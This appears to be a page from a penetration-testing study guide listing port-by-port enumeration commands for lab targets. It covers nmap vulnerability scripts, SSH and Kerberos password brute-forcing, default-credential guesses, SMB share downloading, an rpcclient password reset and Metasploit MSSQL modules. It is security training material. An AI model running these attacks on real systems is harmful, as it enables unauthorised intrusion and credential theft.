02 Port Enumeration

Port 21 - FTP
nmap --script ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum -p 21 10.11.1.5 
Port 22 - SSH
try to login with default/simple account : admin:admin, root:root, user:password
Brute Force
BruteForce:
​
patator ssh_login host=10.11.1.5 port=22 user=root 0=/usr/share/metasploit-framework/data/wordlists/unix_passwords.txt password=FILE0 -x ignore:mesg='Authentication failed.'
hydra -l user -P /usr/share/wordlists/password/rockyou.txt -e s ssh://10.11.1.5
medusa -h 10.11.1.5 -u user -P /usr/share/wordlists/password/rockyou.txt -e s -M ssh
ncrack --user user -P /usr/share/wordlists/password/rockyou.txt ssh://10.11.1.5
Port 25 - SMTP
nc -nvv 10.11.1.5 25
HELO foo<cr><lf>
​
telnet 10.11.1.5 25
VRFY root
​https://tools.kali.org/information-gathering/smtp-user-enum 
nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 10.11.1.5
smtp-user-enum -M VRFY -U /root/sectools/SecLists/Usernames/Names/names.txt -t 10.11.1.5
Port 53 - DNS
dnsrecon -d 10.10.10.192
Port 88 - Kerberos 
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='DOMAIN.LOCAL'" 10.11.1.5 
GitHub - TarlogicSecurity/kerbrute: An script to perform kerberos bruteforcing by using impacket
GitHub
​
python kerbrute.py -dc-ip 10.11.1.5 -users /root/document/ctf/htb/kb_users.txt -passwords /root/pass_common_plus.txt -threads 20 -domain DOMAIN -outputfile kb_extracted_passwords.txt
Port 110 - Pop3
telnet 10.11.1.5
USER [email protected]
PASS abcd1234
​
or:
​
USER fkclai
PASS abcd1234
​
# List all emails
list
​
Port 111 - Rpcbind
rpcinfo -p 10.11.1.5
rpcclient -U "" 10.11.1.5
    #rpcclient gt;srvinfo
    #rpcclient gt;enumdomusers
    #rpcclient gt;querydominfo
    #rpcclient gt;getdompwinfo  //password policy
    #rpcclient gt;netshareenum
    #rpcclient gt;enumprivs
    #rpcclient gt;setuserinfo2 <user id> 23 [email protected]
Port 135 - MSRPC
nmap 10.11.1.5 --script=msrpc-enum
rpcdump.py 10.10.10.192 -p 135 >> /tmp/rpc.txt
Port 139/445 - SMB
#Eumernation
smbmap -H 10.11.1.8
smbmap -u "guest" -p "" -H 10.11.1.31
nmap --script smb-enum-shares -p 139,445
enum4linux nest.htb 
smbclient -L nest.htb
smbclient -U "r.thompson" -L \\\\10.10.10.182
smbclient -L //10.10.10.192 -N
​
# Check vulns
nmap --script smb-vuln* -p139,445 -T4 -Pn 10.11.1.8
nmap --script smb-enum-*,smb-vuln-*,smb-ls.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.nse,smb-server-stats.nse,smb-system-info.nse,smb-protocols -p 139,445 10.11.1.8
nmap --script smb-enum-domains.nse,smb-enum-groups.nse,smb-enum-processes.nse,smb-enum-sessions.nse,smb-enum-shares.nse,smb-enum-users.nse,smb-ls.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.nse,smb-server-stats.nse,smb-system-info.nse,smb-vuln-conficker.nse,smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-regsvc-dos.nse -p 139,445 10.11.1.8
nmap --script vuln -p 135,139,445 10.10.10.40
​
smbmap -u TempUser -p welcome2019 -H nest.htb -R
smbclient \\\\nest.htb\\Data -U TempUser
smbclient //10.10.10.192/forensic  -U audit2020 --socket-options='TCP_NODELAY IPTOS_LOWDELAY SO_KEEPALIVE SO_RCVBUF=131072 SO_SNDBUF=131072' -t 40000
    mask ""
    recurse ON
    prompt OFF
    mget *
​
Port 389,636 LDAP
ldapsearch -h 10.11.1.8 -p 389 -x -b "dc=fkclai,dc=com"
ldapsearch -x -h 10.11.1.8 -D 'DOMAIN\fkclai' -w 'hash-password'
ldapdomaindump 10.11.1.8 -u 'DOMAIN\fkclai' -p 'hash-password'
​
  windapsearch.py -d abcde.local --dc-ip 10.10.10.175 -U
 https://github.com/ropnop/windapsearch
Port 1433 MSSQL
nmap -p 1433 -sU --script=ms-sql-info.nse 10.11.1.8
​
#MSF payload
    use auxiliary/scanner/mssql/mssql_ping
    use auxiliary/scanner/mssql/mssql_login
    use exploit/windows/mssql/mssql_payload

Exploitation Guide - Previous

01 Reconnaissance

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03 Web Enumeration

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Outline

Port 21 - FTP

Port 22 - SSH

Port 25 - SMTP

Port 53 - DNS

Port 88 - Kerberos

Port 110 - Pop3

Port 111 - Rpcbind

Port 135 - MSRPC

Port 139/445 - SMB

Port 389,636 LDAP

Port 1433 MSSQL